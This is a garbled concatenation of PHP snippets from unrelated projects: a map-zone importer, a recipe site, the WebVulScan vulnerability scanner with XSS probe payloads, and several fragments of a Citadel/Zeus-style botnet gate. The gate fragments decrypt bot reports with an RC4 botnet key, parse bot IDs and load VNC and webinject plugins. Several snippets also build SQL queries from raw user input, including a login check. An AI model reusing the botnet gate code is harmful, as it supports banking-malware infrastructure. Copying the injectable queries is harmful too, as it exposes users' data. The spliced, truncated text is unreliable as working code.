static function connect() { if (empty($_SESSION['db-connect'])) { return; } $conn =& $GLOBALS['config']['db-connect'][$_SESSION['db-connect']]; if (empty($conn)) { return; } # Close the previous connection @mysql_close(); # Attempt to connect $purl = parse_url($conn); $l = mysql_connect($purl['host'] . ':' . $purl['port'], $purl['user'], $purl['pass'], true); $ok = $l !== FALSE; if ($ok) { $ok = (bool) mysql_select_db(trim($purl['path'], '/'), $l); } if ($ok) { $ok = (bool) mysql_query('SET NAMES "' . MYSQL_CODEPAGE . '" COLLATE "' . MYSQL_COLLATE . '";', $l); } if (!$ok) { flashmsg('err', 'Citadel Connect: ":conn" failed! Error: ":error". Using the default connection instead', array(':conn' => $conn, ':error' => mysql_error($l))); mysql_close($l); connectToDb(); return; } # Warn flashmsg('info', 'Citadel Connect: Using ":db"', array(':db' => $_SESSION['db-connect'])); }
function checkCookie($input, $ipaddress) { global $salt; connectToDb(); /*$input comes in the following format userId-passwordhash /*Validate that the cookie hash meets the following criteria: Cookie Ip: matches $ipaddres; Cookie Timeout: Is still greater then the current time(); Cookie Secret: matches the mysql database secret; */ //Split cookie into 2 mmmmm! $cookieInfo = explode("-", $input); $validCookie = false; //Get "secret" from MySql database $tempId = mysql_real_escape_string($cookieInfo[0]); if (!is_numeric($tempId)) { $tempId = 0; return false; } $getSecretQ = mysql_query("SELECT secret, pass, sessionTimeoutStamp FROM webUsers WHERE id = {$tempId} LIMIT 0,1"); if ($getSecret = mysql_fetch_object($getSecretQ)) { $password = $getSecret->pass; $secret = $getSecret->secret; $timeoutStamp = $getSecret->sessionTimeoutStamp; //Create a variable to test the cookie hash against $hashTest = hash("sha256", $secret . $password . $ipaddress . $timeoutStamp . $salt); //Test if $hashTest = $cookieInfo[1] hash value; return results if ($hashTest == $cookieInfo[1]) { $validCookie = true; } } return $validCookie; }
function editQuery($query, $params) { $db = connectToDb(); $statement = $db->prepare($query); $statement->execute($params); return $db->lastInsertId(); }
function insertZones($array) { for ($i = 0; $i < count($array); ++$i) { $zoneID = $array[$i]["id"]; $sql = "SELECT * FROM zones WHERE id=? LIMIT 1"; $params = [$zoneID]; $res = getFromDb($sql, $params); if (count($res) == 0) { $id = $zoneID; $name = $array[$i]["name"]; $region = $array[$i]["region"]["id"]; $totalTakeovers = $array[$i]["totalTakeovers"]; $takeoverPoints = $array[$i]["takeoverPoints"]; $pointsPerHour = $array[$i]["pointsPerHour"]; $dateCreated = $array[$i]["dateCreated"]; $longitude = $array[$i]["longitude"]; $latitude = $array[$i]["latitude"]; $params = [$id, $name, $region, $totalTakeovers, $takeoverPoints, $pointsPerHour, $dateCreated, $longitude, $latitude]; $db = connectToDb(DATABASE); $query = "INSERT INTO zones VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?);"; $stmt = $db->prepare($query); $stmt->execute($params); } } }
function getFromDb($query, $params) { $db = connectToDb(DATABASE); $stmt = $db->prepare($query); $stmt->execute($params); $res = $stmt->fetchAll(PDO::FETCH_ASSOC); return $res; }
function getListZips() { $database = connectToDb(); if (!$database) { return false; } $result = executeCommand($database, "getListOfZips", NULL); if (!$result) { return false; } else { return $result; } }
function testDirectObjectRefs($arrayOfURLs, $testId) { connectToDb($db); updateStatus($db, "Testing all URLs for Insecure Direct Object References...", $testId); $log = new Logger(); $log->lfile('logs/eventlogs'); $log->lwrite("Identifying which URLs have parameters"); $log->lwrite("All URLs found during crawl:"); $urlsWithParameters = array(); foreach ($arrayOfURLs as $currentUrl) { $log->lwrite($currentUrl); if (strpos($currentUrl, "?")) { array_push($urlsWithParameters, $currentUrl); } } $log->lwrite("URLs with parameters:"); foreach ($urlsWithParameters as $currentUrl) { $log->lwrite($currentUrl); } $log->lwrite("Testing each URL that has parameters"); foreach ($urlsWithParameters as $currentUrl) { $parsedUrl = parse_url($currentUrl); if ($parsedUrl) { $query = $parsedUrl['query']; $parameters = array(); parse_str($query, $parameters); foreach ($parameters as $para) { if (preg_match('/\\.([^\\.]+)$/', $para)) { //Check if this vulnerability has already been found and added to DB. If it hasn't, add it to DB. $tableName = 'test' . $testId; $query = "SELECT * FROM test_results WHERE test_id = {$testId} AND type = 'idor' AND method = 'get' AND url = '{$currentUrl}' AND attack_str = '{$para}'"; $result = $db->query($query); if (!$result) { $log->lwrite("Could not execute query {$query}"); } else { $log->lwrite("Successfully executed query {$query}"); $numRows = $result->num_rows; if ($numRows == 0) { $log->lwrite("Number of rows is {$numRows} for query: {$query}"); insertTestResult($db, $testId, 'idor', 'get', $currentUrl, $para); } } } } } else { $log->lwrite("Could not parse malformed URL: {$currentUrl}"); } } }
function emailPdfToUser($fileName, $username, $email, $testId) { connectToDb($db); updateStatus($db, "Emailing PDF report to {$email}...", $testId); $log = new Logger(); $log->lfile('logs/eventlogs'); $log->lwrite("Starting email PDF function for test: {$testId}"); if (file_exists($fileName)) { $log->lwrite("File: {$fileName} exists"); $fileatt = $fileName; // Path to the file $fileatt_type = "application/pdf"; // File Type $fileatt_name = 'Test_' . $testId . '.pdf'; // Filename that will be used for the file as the attachment $email_from = "*****@*****.**"; // Who the email is from, don't think this does anything $email_subject = "WebVulScan Detailed Report"; // The Subject of the email $email_message = "Hello {$username},<br><br>"; $email_message .= 'Thank you for scanning with WebVulScan. Please find the scan results attached in the PDF report.<br><br>'; $email_message .= 'Please reply to this email if you have any questions.<br><br>'; $email_message .= 'Kind Regards,<br><br>'; $email_message .= 'WebVulScan Team<br>'; $email_to = $email; // Who the email is to $headers = "From: " . $email_from; $file = fopen($fileatt, 'rb'); $data = fread($file, filesize($fileatt)); fclose($file); $semi_rand = md5(time()); $mime_boundary = "==Multipart_Boundary_x{$semi_rand}x"; $headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . " boundary=\"{$mime_boundary}\""; $email_message .= "This is a multi-part message in MIME format.\n\n" . "--{$mime_boundary}\n" . "Content-Type:text/html; charset=\"iso-8859-1\"\n" . "Content-Transfer-Encoding: 7bit\n\n" . ($email_message .= "\n\n"); $data = chunk_split(base64_encode($data)); $email_message .= "--{$mime_boundary}\n" . "Content-Type: {$fileatt_type};\n" . " name=\"{$fileatt_name}\"\n" . "Content-Transfer-Encoding: base64\n\n" . ($data .= "\n\n" . "--{$mime_boundary}--\n"); $mailSent = mail($email_to, $email_subject, $email_message, $headers); if ($mailSent) { $log->lwrite("{$fileName} successfully sent to {$email}"); } else { $log->lwrite("There was a problem sending {$fileName} to {$email}"); } } else { $log->lwrite("File: {$fileName} does not exist"); } }
function handlePageData(&$page_data) { array_push($this->urlsFound, $page_data["url"]); if ($this->firstCrawl) { $testId = $this->testId; $newUrl = $page_data['url']; $query = "UPDATE tests SET status = 'Found URL {$newUrl}' WHERE id = {$testId};"; if (connectToDb($db)) { $db->query($query); $query = "UPDATE tests SET numUrlsFound = numUrlsFound + 1 WHERE id = {$testId};"; $db->query($query); $query = "UPDATE tests SET urls_found=CONCAT(urls_found,'{$newUrl}<br>') WHERE id = {$testId};"; //Nearly doubles the duration of the crawl $db->query($query); } } }
function fileUploadComplete($filename = null) { if ($filename == null) { die("Error: No filename for file upload"); } $conn = connectToDb(); try { //Prepare SQL and bind parameters for insert $stmt = $conn->prepare("INSERT INTO Uploaded_Files (filename)\n\t\t\t\t\t\t\t\tVALUES (:filename)"); $stmt->bindParam(':filename', $filename); $stmt->execute(); return $conn->insert_id; } catch (PDOException $e) { die("Exception in SQL INSERT: " . $e); } closeDb(); }
function file_get_html($url, $testId, $use_include_path = false, $context = null, $offset = -1, $maxLen = -1, $lowercase = true, $forceTagsClosed = true, $target_charset = DEFAULT_TARGET_CHARSET, $stripRN = true, $defaultBRText = DEFAULT_BR_TEXT) { connectToDb($db); if ($db) { incrementHttpRequests($db, $testId); } // We DO force the tags to be terminated. $dom = new simple_html_dom(null, $lowercase, $forceTagsClosed, $target_charset, $defaultBRText); // For sourceforge users: uncomment the next line and comment the retreive_url_contents line 2 lines down if it is not already done. $contents = file_get_contents($url, $use_include_path, $context, $offset); // Paperg - use our own mechanism for getting the contents as we want to control the timeout. // $contents = retrieve_url_contents($url); if (empty($contents)) { return false; } // The second parameter can force the selectors to all be lowercase. $dom->load($contents, $lowercase, $stripRN); return $dom; }
function updateZones($array) { $time_start = microtime(true); for ($i = 0; $i < count($array); ++$i) { $id = $array[$i]["id"]; $name = $array[$i]["name"]; $region = $array[$i]["region"]["id"]; $totalTakeovers = $array[$i]["totalTakeovers"]; $takeoverPoints = $array[$i]["takeoverPoints"]; $pointsPerHour = $array[$i]["pointsPerHour"]; $longitude = $array[$i]["longitude"]; $latitude = $array[$i]["latitude"]; $db = connectToDb(DATABASE); $query = "UPDATE zones SET name = ?, region = ?, totalTakeovers = ?, takeoverPoints = ?, pointsPerHour = ?, longitude = ?, latitude = ? WHERE id = ?"; $params = [$name, $region, $totalTakeovers, $takeoverPoints, $pointsPerHour, $longitude, $latitude, $id]; $stmt = $db->prepare($query); $stmt->execute($params); } $time_end = microtime(true); $execution_time = $time_end - $time_start; echo 'Total Execution Time: ' . $execution_time; }
function insertRegions($array) { for ($i = 0; $i < count($array); ++$i) { $regionID = $array[$i]["id"]; $sql = "SELECT * FROM regions WHERE regionID=? LIMIT 1"; $params = [$regionID]; $res = getFromDb($sql, $params); if (count($res) == 0) { $regionName = $array[$i]["name"]; if (array_key_exists("country", $array[$i])) { $country = $array[$i]["country"]; } else { $country = null; } $params = [$regionID, $regionName, $country]; $db = connectToDb(DATABASE); $query = "INSERT INTO regions VALUES (?, ?, ?)"; $stmt = $db->prepare($query); $stmt->execute($params); } } }
@header('Status: 404 Not Found'); } else { @header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found'); } die($text); } if (file_exists('system/gate/gate.plugin.404.php')) { require 'system/gate/gate.plugin.404.php'; } if (@$_SERVER['REQUEST_METHOD'] !== 'POST') { die(function_exists('e404plugin_display') ? e404plugin_display() : die404('Not found')); } /* plugin: 404 */ if (function_exists('e404plugin_display') && !empty($config['allowed_countries_enabled'])) { # Analize IPv4 & Ban if needed if (connectToDb()) { $realIpv4 = trim(!empty($_GET['ip']) ? $_GET['ip'] : $_SERVER['REMOTE_ADDR']); $country = ipv4toc($realIpv4); if (!e404plugin_check($country)) { die; } } } //Получаем данные. $data = @file_get_contents('php://input'); $dataSize = @strlen($data); if ($dataSize < HEADER_SIZE + ITEM_HEADER_SIZE) { die404(); } if ($dataSize < BOTCRYPT_MAX_SIZE) { rc4($data, $config['botnet_cryptkey_bin']);
function SendRequest($arguments) { connectToDb(&$db); if ($db) { incrementHttpRequests($db, $this->testId); } //fsockopen is called in receivePage below so increment HTTP requests sent if (strlen($this->error)) { return $this->error; } if (isset($arguments["ProxyUser"])) { $this->proxy_request_user = $arguments["ProxyUser"]; } elseif (isset($this->proxy_user)) { $this->proxy_request_user = $this->proxy_user; } if (isset($arguments["ProxyPassword"])) { $this->proxy_request_password = $arguments["ProxyPassword"]; } elseif (isset($this->proxy_password)) { $this->proxy_request_password = $this->proxy_password; } if (isset($arguments["ProxyRealm"])) { $this->proxy_request_realm = $arguments["ProxyRealm"]; } elseif (isset($this->proxy_realm)) { $this->proxy_request_realm = $this->proxy_realm; } if (isset($arguments["ProxyWorkstation"])) { $this->proxy_request_workstation = $arguments["ProxyWorkstation"]; } elseif (isset($this->proxy_workstation)) { $this->proxy_request_workstation = $this->proxy_workstation; } switch ($this->state) { case "Disconnected": return $this->SetError("1 connection was not yet established"); case "Connected": $connect = 0; break; case "ConnectedToProxy": if (strlen($error = $this->ConnectFromProxy($arguments, $headers))) { return $error; } $connect = 1; break; default: return $this->SetError("2 can not send request in the current connection state"); } if (isset($arguments["RequestMethod"])) { $this->request_method = $arguments["RequestMethod"]; } if (isset($arguments["User-Agent"])) { $this->user_agent = $arguments["User-Agent"]; } if (!isset($arguments["Headers"]["User-Agent"]) && strlen($this->user_agent)) { $arguments["Headers"]["User-Agent"] = $this->user_agent; } if (isset($arguments["KeepAlive"])) { $this->keep_alive = intval($arguments["KeepAlive"]); } if (!isset($arguments["Headers"]["Connection"]) && $this->keep_alive) { $arguments["Headers"]["Connection"] = 'Keep-Alive'; } if (isset($arguments["Accept"])) { $this->user_agent = $arguments["Accept"]; } if (!isset($arguments["Headers"]["Accept"]) && strlen($this->accept)) { $arguments["Headers"]["Accept"] = $this->accept; } if (strlen($this->request_method) == 0) { return $this->SetError("3 it was not specified a valid request method"); } if (isset($arguments["RequestURI"])) { $this->request_uri = $arguments["RequestURI"]; } if (strlen($this->request_uri) == 0 || substr($this->request_uri, 0, 1) != "/") { return $this->SetError("4 it was not specified a valid request URI"); } $this->request_arguments = $arguments; $this->request_headers = isset($arguments["Headers"]) ? $arguments["Headers"] : array(); $body_length = 0; $this->request_body = ""; $get_body = 1; if ($this->request_method == "POST" || $this->request_method == "PUT") { if (isset($arguments['StreamRequest'])) { $get_body = 0; $this->request_headers["Transfer-Encoding"] = "chunked"; } elseif (isset($arguments["PostFiles"]) || $this->force_multipart_form_post && isset($arguments["PostValues"])) { $boundary = "--" . md5(uniqid(time())); $this->request_headers["Content-Type"] = "multipart/form-data; boundary=" . $boundary . (isset($arguments["CharSet"]) ? "; charset=" . $arguments["CharSet"] : ""); $post_parts = array(); if (isset($arguments["PostValues"])) { $values = $arguments["PostValues"]; if (GetType($values) != "array") { return $this->SetError("5 it was not specified a valid POST method values array"); } for (Reset($values), $value = 0; $value < count($values); Next($values), $value++) { $input = Key($values); $headers = "--" . $boundary . "\r\nContent-Disposition: form-data; name=\"" . $input . "\"\r\n\r\n"; $data = $values[$input]; $post_parts[] = array("HEADERS" => $headers, "DATA" => $data); $body_length += strlen($headers) + strlen($data) + strlen("\r\n"); } } $body_length += strlen("--" . $boundary . "--\r\n"); $files = isset($arguments["PostFiles"]) ? $arguments["PostFiles"] : array(); Reset($files); $end = GetType($input = Key($files)) != "string"; for (; !$end;) { if (strlen($error = $this->GetFileDefinition($files[$input], $definition))) { return "3 " . $error; } $headers = "--" . $boundary . "\r\nContent-Disposition: form-data; name=\"" . $input . "\"; filename=\"" . $definition["NAME"] . "\"\r\nContent-Type: " . $definition["Content-Type"] . "\r\n\r\n"; $part = count($post_parts); $post_parts[$part] = array("HEADERS" => $headers); if (isset($definition["FILENAME"])) { $post_parts[$part]["FILENAME"] = $definition["FILENAME"]; $data = ""; } else { $data = $definition["DATA"]; } $post_parts[$part]["DATA"] = $data; $body_length += strlen($headers) + $definition["Content-Length"] + strlen("\r\n"); Next($files); $end = GetType($input = Key($files)) != "string"; } $get_body = 0; } elseif (isset($arguments["PostValues"])) { $values = $arguments["PostValues"]; if (GetType($values) != "array") { return $this->SetError("5 it was not specified a valid POST method values array"); } for (Reset($values), $value = 0; $value < count($values); Next($values), $value++) { $k = Key($values); if (GetType($values[$k]) == "array") { for ($v = 0; $v < count($values[$k]); $v++) { if ($value + $v > 0) { $this->request_body .= "&"; } $this->request_body .= UrlEncode($k) . "=" . UrlEncode($values[$k][$v]); } } else { if ($value > 0) { $this->request_body .= "&"; } $this->request_body .= UrlEncode($k) . "=" . UrlEncode($values[$k]); } } $this->request_headers["Content-Type"] = "application/x-www-form-urlencoded" . (isset($arguments["CharSet"]) ? "; charset=" . $arguments["CharSet"] : ""); $get_body = 0; } } if ($get_body && (isset($arguments["Body"]) || isset($arguments["BodyStream"]))) { if (isset($arguments["Body"])) { $this->request_body = $arguments["Body"]; } else { $stream = $arguments["BodyStream"]; $this->request_body = ""; for ($part = 0; $part < count($stream); $part++) { if (isset($stream[$part]["Data"])) { $this->request_body .= $stream[$part]["Data"]; } elseif (isset($stream[$part]["File"])) { if (!($file = @fopen($stream[$part]["File"], "rb"))) { return $this->SetPHPError("could not open upload file " . $stream[$part]["File"], $php_errormsg); } while (!feof($file)) { if (GetType($block = @fread($file, $this->file_buffer_length)) != "string") { $error = $this->SetPHPError("could not read body stream file " . $stream[$part]["File"], $php_errormsg); fclose($file); return $error; } $this->request_body .= $block; } fclose($file); } else { return "5 it was not specified a valid file or data body stream element at position " . $part; } } } if (!isset($this->request_headers["Content-Type"])) { $this->request_headers["Content-Type"] = "application/octet-stream" . (isset($arguments["CharSet"]) ? "; charset=" . $arguments["CharSet"] : ""); } } if (isset($arguments["AuthUser"])) { $this->request_user = $arguments["AuthUser"]; } elseif (isset($this->user)) { $this->request_user = $this->user; } if (isset($arguments["AuthPassword"])) { $this->request_password = $arguments["AuthPassword"]; } elseif (isset($this->password)) { $this->request_password = $this->password; } if (isset($arguments["AuthRealm"])) { $this->request_realm = $arguments["AuthRealm"]; } elseif (isset($this->realm)) { $this->request_realm = $this->realm; } if (isset($arguments["AuthWorkstation"])) { $this->request_workstation = $arguments["AuthWorkstation"]; } elseif (isset($this->workstation)) { $this->request_workstation = $this->workstation; } if (strlen($this->proxy_host_name) == 0 || $connect) { $request_uri = $this->request_uri; } else { switch (strtolower($this->protocol)) { case "http": $default_port = 80; break; case "https": $default_port = 443; break; } $request_uri = strtolower($this->protocol) . "://" . $this->host_name . ($this->host_port == 0 || $this->host_port == $default_port ? "" : ":" . $this->host_port) . $this->request_uri; } if ($this->use_curl) { $version = GetType($v = curl_version()) == "array" ? isset($v["version"]) ? $v["version"] : "0.0.0" : (preg_match("/^libcurl\\/([0-9]+\\.[0-9]+\\.[0-9]+)/", $v, $m) ? $m[1] : "0.0.0"); $curl_version = 100000 * intval($this->Tokenize($version, ".")) + 1000 * intval($this->Tokenize(".")) + intval($this->Tokenize("")); $protocol_version = $curl_version < 713002 ? "1.0" : $this->protocol_version; } else { $protocol_version = $this->protocol_version; } $this->request = $this->request_method . " " . $request_uri . " HTTP/" . $protocol_version; if ($body_length || ($body_length = strlen($this->request_body))) { $this->request_headers["Content-Length"] = $body_length; } for ($headers = array(), $host_set = 0, Reset($this->request_headers), $header = 0; $header < count($this->request_headers); Next($this->request_headers), $header++) { $header_name = Key($this->request_headers); $header_value = $this->request_headers[$header_name]; if (GetType($header_value) == "array") { for (Reset($header_value), $value = 0; $value < count($header_value); Next($header_value), $value++) { $headers[] = $header_name . ": " . $header_value[Key($header_value)]; } } else { $headers[] = $header_name . ": " . $header_value; } if (strtolower(Key($this->request_headers)) == "host") { $this->request_host = strtolower($header_value); $host_set = 1; } } if (!$host_set) { $headers[] = "Host: " . $this->host_name; $this->request_host = strtolower($this->host_name); } if (count($this->cookies)) { $cookies = array(); $this->PickCookies($cookies, 0); if (strtolower($this->protocol) == "https") { $this->PickCookies($cookies, 1); } if (count($cookies)) { $h = count($headers); $headers[$h] = "Cookie:"; for (Reset($cookies), $cookie = 0; $cookie < count($cookies); Next($cookies), $cookie++) { $cookie_name = Key($cookies); $headers[$h] .= " " . $cookie_name . "=" . $cookies[$cookie_name]["value"] . ";"; } } } $next_state = "RequestSent"; if ($this->use_curl) { if (isset($arguments['StreamRequest'])) { return $this->SetError("Streaming request data is not supported when using Curl"); } if ($body_length && strlen($this->request_body) == 0) { for ($request_body = "", $success = 1, $part = 0; $part < count($post_parts); $part++) { $request_body .= $post_parts[$part]["HEADERS"] . $post_parts[$part]["DATA"]; if (isset($post_parts[$part]["FILENAME"])) { if (!($file = @fopen($post_parts[$part]["FILENAME"], "rb"))) { $this->SetPHPError("could not open upload file " . $post_parts[$part]["FILENAME"], $php_errormsg); $success = 0; break; } while (!feof($file)) { if (GetType($block = @fread($file, $this->file_buffer_length)) != "string") { $this->SetPHPError("could not read upload file", $php_errormsg); $success = 0; break; } $request_body .= $block; } fclose($file); if (!$success) { break; } } $request_body .= "\r\n"; } $request_body .= "--" . $boundary . "--\r\n"; } else { $request_body = $this->request_body; } curl_setopt($this->connection, CURLOPT_HEADER, 1); curl_setopt($this->connection, CURLOPT_RETURNTRANSFER, 1); if ($this->timeout) { curl_setopt($this->connection, CURLOPT_TIMEOUT, $this->timeout); } curl_setopt($this->connection, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($this->connection, CURLOPT_SSL_VERIFYHOST, 0); $request = $this->request . "\r\n" . implode("\r\n", $headers) . "\r\n\r\n" . $request_body; curl_setopt($this->connection, CURLOPT_CUSTOMREQUEST, $request); if ($this->debug) { $this->OutputDebug("C " . $request); } if (!($success = strlen($this->response = curl_exec($this->connection)) != 0)) { $error = curl_error($this->connection); $this->SetError("Could not execute the request" . (strlen($error) ? ": " . $error : "")); } } else { if ($success = $this->PutLine($this->request)) { for ($header = 0; $header < count($headers); $header++) { if (!($success = $this->PutLine($headers[$header]))) { break; } } if ($success && ($success = $this->PutLine(""))) { if (isset($arguments['StreamRequest'])) { $next_state = "SendingRequestBody"; } elseif ($body_length) { if (strlen($this->request_body)) { $success = $this->PutData($this->request_body); } else { for ($part = 0; $part < count($post_parts); $part++) { if (!($success = $this->PutData($post_parts[$part]["HEADERS"])) || !($success = $this->PutData($post_parts[$part]["DATA"]))) { break; } if (isset($post_parts[$part]["FILENAME"])) { if (!($file = @fopen($post_parts[$part]["FILENAME"], "rb"))) { $this->SetPHPError("could not open upload file " . $post_parts[$part]["FILENAME"], $php_errormsg); $success = 0; break; } while (!feof($file)) { if (GetType($block = @fread($file, $this->file_buffer_length)) != "string") { $this->SetPHPError("could not read upload file", $php_errormsg); $success = 0; break; } if (!($success = $this->PutData($block))) { break; } } fclose($file); if (!$success) { break; } } if (!($success = $this->PutLine(""))) { break; } } if ($success) { $success = $this->PutLine("--" . $boundary . "--"); } } if ($success) { $sucess = $this->FlushData(); } } } } } if (!$success) { return $this->SetError("5 could not send the HTTP request: " . $this->error); } $this->state = $next_state; return ""; }
} //Парсим данные (Сжатие данных не поддерживается). //Поздравляю мега хакеров, этот алгоритм позволит вам спокойно читать данные бота. Не забудьте написать 18 парсеров и 100 бэкдоров. $list = array(); for ($i = HEADER_SIZE; $i < $dataSize;) { $k = @unpack('L4', @substr($data, $i, ITEM_HEADER_SIZE)); $list[$k[1]] = @substr($data, $i + ITEM_HEADER_SIZE, $k[3]); $i += ITEM_HEADER_SIZE + $k[3]; } unset($data); //Основные параметры, которые должны быть всегда. if (empty($list[SBCID_BOT_VERSION]) || empty($list[SBCID_BOT_ID])) { die; } //Подключаемся к базе. if (!connectToDb()) { die; } /////////////////////////////////////////////////////////////////////////////////////////////////// // Обрабатываем данные. /////////////////////////////////////////////////////////////////////////////////////////////////// $botId = str_replace("", "", trim($list[SBCID_BOT_ID])); $botIdQ = addslashes($botId); $botnet = empty($list[SBCID_BOTNET]) ? DEFAULT_BOTNET : str_replace("", "", trim($list[SBCID_BOTNET])); $botnetQ = addslashes($botnet); $botVersion = toUint($list[SBCID_BOT_VERSION]); $realIpv4 = trim(!empty($_GET['ip']) ? $_GET['ip'] : $_SERVER['REMOTE_ADDR']); $country = getCountryIpv4(); //str_replace("\x01", "\x02", GetCountryIPv4()); $countryQ = addslashes($country); $curTime = time();
function clearFlag($flagName) { $connection = connectToDb(); $query = "UPDATE flags SET value = 0 where name = '{$flagName}';"; $result = mysqli_query($connection, $query); if (!$result) { die("Updating flags failed" . mysqli_error($connection)); } mysqli_close($connection); }
# Load libs require_once 'system/lib/notify.php'; # Load plugins foreach (array('vnc', 'accparse', '404', 'webinjects') as $plugin) { if (file_exists($f = "system/gate/gate.plugin.{$plugin}.php")) { include $f; } } if (@$_SERVER['REQUEST_METHOD'] !== 'POST') { die(function_exists('e404plugin_display') ? e404plugin_display() : ''); } # Init logging new GateLog(__FILE__ . '.log', GATE_DEBUG_MODE ? GateLog::L_TRACE : GateLog::L_NOTICE); set_error_handler(array(GateLog::get(), 'php_error_handler')); # DB connect if (!connectToDb(MYSQL_PERSISTENT_MODE)) { gate_die('init', 'DB connection failed'); } if (GATE_DEBUG_MODE) { error_reporting(E_ALL); GateLog::get()->log(GateLog::L_TRACE, 'init', 'STARTED>>>>>>'); function _logshutdown() { GateLog::get()->log(GateLog::L_TRACE, 'init', '<<<<<<FINISHED'); GateLog::get()->flush(); } register_shutdown_function('_logshutdown'); } # Analize IPv4 & Ban if needed $realIpv4 = trim(!empty($_GET['ip']) ? $_GET['ip'] : $_SERVER['REMOTE_ADDR']); # GeoIP lookup has proved itself to be rather expensive: now it's switchable
function writeToDb($word, $success) { # write $word to the db. If it already exists, the word count in # the database is incremented instead. global $debug; $word = strtolower($word); $count = isWordInDb($word); $wordcount = getWordcount($word); if ($debug) { echo "writeToDb - word=" . $word . ", success=" . $success . ", count=" . $count . ", wordcount=" . $wordcount . "<br/>"; } if ($wordcount > 0) { if ($debug) { echo "incrementing word count<br/>"; } incrementWordCount($word); } else { if ($debug) { echo "Inserting record into database<br/>"; } $conn = connectToDb(); $sql = "insert into words(word,success,wordcount) " . "values(?, ?, 1)"; if ($debug) { echo "sql=" . $sql . "<br/>"; } $smt = $conn->prepare($sql); $smt->bind_param("si", $word, $success); if ($smt->execute() === TRUE) { if ($debug) { echo "New record created successfully"; } } else { echo "Error: " . $sql . "<br>" . $conn->error; } $smt->close(); $conn->close(); } }
require_once 'cliCommon.php'; require_once 'dbConnect.php'; ini_set('display_errors', 1); ini_set('ERROR_REPORTING', E_WARNING); error_reporting(E_ALL); $args = array('input_file' => ''); $switches = array(); check_args($argc, $argv, $args, $switches); //$host = 'localhost'; // Open input and output files $inputFile = fopen($args['input_file'], 'r'); if ($inputFile === FALSE) { die("Could not open input file.\n"); exit; } $db = connectToDb(); if (!$db) { die('Could not connect to database.\\n'); } // Parse CSV input into fields line by line while (($line = fgetcsv($inputFile, 0, '|')) !== FALSE) { foreach ($line as $key => $element) { $line[$key] = pg_escape_string($element); } $bannerId = $line[0]; if ($bannerId == '') { continue; } $firstName = $line[2]; $middleName = $line[3]; $lastName = $line[1];
<?php session_start(); include 'edit-recipe-form-handler.php'; include 'create-recipe-form.php'; include 'db-credentials.php'; //check if valid url or logged in if (!isset($_GET['recipe_id']) || !isset($_SESSION['loggedin'])) { header('Location: fail.php'); } //get recipe id $recipeId = $_GET['recipe_id']; //get logged username $user = $_SESSION["username"]; //connect to db $conn = connectToDb($servername, $username, $password, $dbname); //get recipe name $recipeName = getRecipeNameFromDB($conn, $recipeId); //get author name $authorName = getAuthorName($conn, $recipeId); //check if valid id or not original author if ($recipeName == '' || $authorName != $user) { header('Location: fail.php'); } //if submit if ($_SERVER['REQUEST_METHOD'] == "POST") { //delete everything removeRecipe($conn, $recipeId); header('Location: my-recipes.php'); } ?>
$loginMsg = 'You are now logged out'; } else { $loginMsg = 'You are currently not logged in'; } } } //Check if user has just made a login attempt if (isset($_POST['email']) && isset($_POST['password'])) { $email = $_POST['email']; $password = $_POST['password']; $continueLogin = true; if (!filter_var($email, FILTER_VALIDATE_EMAIL) || !ctype_alnum($password)) { $loginMsg = 'Invalid email or password. Please try again'; $continueLogin = false; } if (connectToDb($db) && $continueLogin) { $query = "SELECT * FROM users WHERE email = '{$email}' AND password = SHA1('{$password}')"; $result = $db->query($query); if ($result) { $numRows = $result->num_rows; if ($numRows == 0) { $loginMsg = 'Invalid email or password. Please try again'; } else { $row = $result->fetch_object(); $username = $row->username; $_SESSION['username'] = $username; $_SESSION['email'] = $email; $loginMsg = 'You have successfully logged in'; } } else { $loginMsg = 'There was a problem checking your credentials. Please contact administrator if the problem persists';
function compareVulns($vulnOneId, $vulnTwoId) { if (!connectToDb($db)) { return 0; } $queryOne = "SELECT * FROM vulnerabilities WHERE id = '{$vulnOneId}'"; $queryTwo = "SELECT * FROM vulnerabilities WHERE id = '{$vulnTwoId}'"; $resultOne = $db->query($queryOne); $resultTwo = $db->query($queryTwo); if (!($resultOne && $resultTwo)) { return 0; } $rowOne = $resultOne->fetch_object(); $rowTwo = $resultTwo->fetch_object(); $vulnOnePriority = $rowOne->priority_num; $vulnTwoPriority = $rowTwo->priority_num; if ($vulnOnePriority == $vulnTwoPriority) { return 0; } else { if ($vulnOnePriority > $vulnTwoPriority) { return -1; } else { //$vulnOnePriority < $vulnTwoPriority return 1; } } }
function testForReflectedXSS($urlToCheck, $urlOfSite, $testId) { connectToDb($db); updateStatus($db, "Testing {$urlToCheck} for Reflected Cross-Site Scripting...", $testId); $log = new Logger(); $log->lfile('logs/eventlogs'); $log->lwrite("Starting Reflected XXS test function on {$urlToCheck}"); $postUrl = $urlToCheck; $postUrlPath = parse_url($postUrl, PHP_URL_PATH); //Check URL is not responding with 5xx codes $log->lwrite("Checking what response code is received from {$urlToCheck}"); $http = new http_class(); $http->timeout = 0; $http->data_timeout = 0; //$http->debug=1; $http->user_agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"; $http->follow_redirect = 1; $http->redirection_limit = 5; $http->setTestId($testId); $error = $http->GetRequestArguments($urlToCheck, $arguments); $error = $http->Open($arguments); $log->lwrite("URL to be requested is: {$urlToCheck}"); if ($error == "") { $log->lwrite("Sending HTTP request to {$urlToCheck}"); $error = $http->SendRequest($arguments); if ($error == "") { $headers = array(); $error = $http->ReadReplyHeaders($headers); if ($error == "") { $responseCode = $http->response_status; //This is a string $log->lwrite("Received response code: {$responseCode}"); if (intval($responseCode) >= 500 && intval($responseCode) < 600) { $log->lwrite("Response code: {$responseCode} received from: {$urlToCheck}"); return; } } } $http->Close(); } if (strlen($error)) { echo "<H2 align=\"center\">Error: ", $error, "</H2>\n"; $log->lwrite("Error: {$error}"); } $html = file_get_html($postUrl, $testId); if (empty($html)) { //This can happen due to file_get_contents returning a 500 code. Then the parser won't parse it $log->lwrite("Problem getting contents from {$urlToCheck}"); return; } //Submit these //If adding string to this array, add a corresponding string (to look for in response), with he same index, in the array below //The response to look for can be the same as the payload or different. $payloads = array('<webvulscan>', 'javascript:alert(webvulscan)'); //Look for these in response after submitting corresponding payload $harmfulResponses = array('<webvulscan>', 'src="javascript:alert(webvulscan)"'); //First check does the URL passed into this function contain parameters and submit payloads as those parameters if it does $parsedUrl = parse_url($urlToCheck); $log->lwrite("Check if {$urlToCheck} contains 